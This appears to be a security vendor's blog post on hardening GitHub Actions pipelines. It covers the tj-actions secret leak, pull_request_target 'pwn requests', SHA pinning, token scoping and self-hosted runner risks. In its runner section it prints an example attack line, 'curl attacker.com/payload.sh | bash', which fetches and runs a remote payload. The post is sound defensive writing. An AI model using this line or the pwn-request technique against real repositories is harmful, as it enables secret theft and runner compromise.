Safeguard
DevSecOps

Building a secure CI/CD pipeline with GitHub Actions

The tj-actions breach exposed secrets in 23,000 repos. Here's how pwn requests, unpinned tags, and self-hosted runners put your CI/CD at risk.

Priya Mehta
DevSecOps Engineer
7 min read

On March 14, 2025, an attacker with write access to the tj-actions GitHub organization retroactively rewrote the tags of the widely used tj-actions/changed-files action so it ran a payload that dumped CI/CD secrets — API keys, cloud credentials, npm tokens — into public build logs as base64-encoded text. GitHub disabled the repository within hours, but StepSecurity and Wiz estimated the poisoned action had already executed in roughly 23,000 repositories, and the flaw was tracked as CVE-2025-30066. It is the clearest recent proof that a GitHub Actions workflow is not just automation glue — it is production infrastructure with write access to your source, your registries, and often your cloud accounts. Most teams still treat .github/workflows/*.yml as configuration rather than code that needs the same scrutiny as a deployment script. This post breaks down the specific failure patterns behind that incident and others like it, and the concrete workflow changes — permission scoping, SHA pinning, OIDC federation, runner isolation — that actually close them.

How did the tj-actions/changed-files compromise expose secrets from 23,000 repositories?

An attacker force-pushed malicious commits and repointed existing version tags (v1 through v45) in the tj-actions/changed-files repository to a commit that added a Python script pulling a malicious payload, which then scanned runner memory and printed CI secrets into workflow logs. Because most consumers referenced the action by a floating tag like @v45 rather than a pinned commit SHA, every workflow that ran the action after the tags were rewritten pulled the compromised code automatically on its next execution — no code change on the victim's side required. The initial access vector is believed to trace back to a related compromise of reviewdog/action-setup, tracked as CVE-2025-30154, which was exploited days earlier and used inside tj-actions' own release pipeline, giving the attacker a foothold to compromise the downstream action. Any log line containing a printed secret was exposed to anyone with read access to that repository's Actions logs, including public repositories where logs are visible to the internet by default.

What is a "pwn request" and why does pull_request_target leak secrets to forks?

A pwn request is a workflow that triggers on pull_request_target — which grants access to the base repository's secrets and a write-scoped GITHUB_TOKEN — while checking out and executing code from the untrusted fork branch that opened the pull request. The vulnerable pattern looks like this: a workflow fires on pull_request_target, then runs actions/checkout with ref: ${{ github.event.pull_request.head.sha }} to test the contributor's branch, and later runs npm install && npm test or a build script against that checked-out code. Because the job still carries the base repo's permissions and secrets, any script the fork contributor added to package.json's postinstall hook, a Makefile, or a test file executes with access to those credentials, effectively letting an anonymous contributor exfiltrate secrets through a pull request. This exact pattern was documented by Datadog security researcher Christophe Tafani-Dereeper in 2021 and remains one of the most common misconfigurations flagged by static analyzers like zizmor and GitHub's own CodeQL workflow queries today. The fix is to never check out fork content inside a pull_request_target job unless the job is also stripped of secrets and given permissions: read-all, moving any privileged step to a separate, manually-gated job.

Should you pin GitHub Actions to a commit SHA instead of a version tag?

Yes — pin every third-party action to a full 40-character commit SHA, because both lightweight tags and major-version tags like @v4 are mutable and can be repointed by anyone with write access to that action's source repository, which is the exact mechanism used against tj-actions on March 14, 2025. A pinned reference such as uses: tj-actions/changed-files@0e58ed8671d6b60d0890c21b07f8835ace038e67 will always resolve to the same audited code, whereas uses: tj-actions/changed-files@v45 resolves to whatever commit that tag currently points to. GitHub has piloted immutable action releases through 2025 to reduce this exposure, but until an action publisher opts in, SHA pinning is the only reliable control. Dependabot supports keeping SHA-pinned actions current by opening pull requests that bump the SHA and preserve a human-readable version comment (e.g., @0e58ed8 # v45), so pinning does not have to mean falling behind on patches. Static scanners such as zizmor, actionlint, and StepSecurity's Harden-Runner policy files will flag any workflow using a floating tag, and teams competing on github actions ci/cd security posture should treat an unpinned third-party action the same way they'd treat an unpinned base Docker image.

How do you limit what a workflow's GITHUB_TOKEN and secrets can reach?

Set the default GITHUB_TOKEN permissions to read-only at the organization or repository level, then grant write scopes explicitly only to the specific jobs that require them, because GitHub Actions issues a broadly-scoped token by default unless an administrator restricts it. In practice this means setting permissions: contents: read at the top of every workflow file and adding narrower grants like pull-requests: write only to the job that actually needs to comment on a PR. For cloud credentials, adopt OIDC federation — supported since October 2021 for AWS, Azure, and GCP — so workflows request short-lived, per-run tokens instead of storing long-lived AWS_SECRET_ACCESS_KEY values as repository secrets that persist indefinitely and can leak the way tj-actions' secrets did. GitHub's push protection, generally available since 2023, blocks commits containing more than 200 recognizable secret formats before they ever reach a branch, but it does not catch secrets printed to a log by a compromised action, which is why token scope and credential lifetime matter independently of secret scanning.

Are self-hosted runners on public repositories a security risk?

Yes — a self-hosted runner attached to a public repository lets anyone who opens a pull request execute arbitrary code on that machine, which is why GitHub's documentation has explicitly warned against this configuration since 2021. Because workflows on public repos can be triggered by forks, an attacker can add a workflow step to their PR branch — for example a run: curl attacker.com/payload.sh | bash line — and have it execute with the same network access and credentials available to your self-hosted runner, not GitHub's disposable cloud sandbox. Unit 42 and other researchers have tracked ongoing campaigns since 2023 that specifically hunt for exposed self-hosted runner configurations on public repositories to deploy Monero cryptominers, and a compromised runner sitting inside a corporate VPC is a lateral-movement foothold, not just a wasted CPU cycle. If a public repository needs self-hosted compute, isolate the runner in an ephemeral, single-job container with no access to internal networks or long-lived credentials, or restrict the runner to workflow_dispatch and manually-approved environments rather than pull_request.

How Safeguard Helps

Safeguard maps every action, dependency, and package pulled into your GitHub Actions pipelines against your actual runtime call paths, so reachability analysis tells you whether a vulnerable or newly-compromised action can touch a real code path versus sitting in a workflow that never executes it — cutting through noise before a tj-actions-style incident forces a scramble. Griffin AI continuously watches for anomalies like a re-tagged commit SHA, a new outbound network call in a marketplace action, or a workflow that suddenly gained write permissions, and flags them the same day rather than weeks later. Safeguard generates and ingests SBOMs directly from your workflow runs, giving you an accurate, versioned inventory of every action and transitive dependency your pipelines actually pulled — not just what's declared in YAML. When a fix is available, such as pinning a floating tag to a verified SHA or narrowing an over-permissioned GITHUB_TOKEN, Safeguard opens an auto-fix pull request with the exact diff, so remediation ships in minutes instead of sitting in a backlog.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.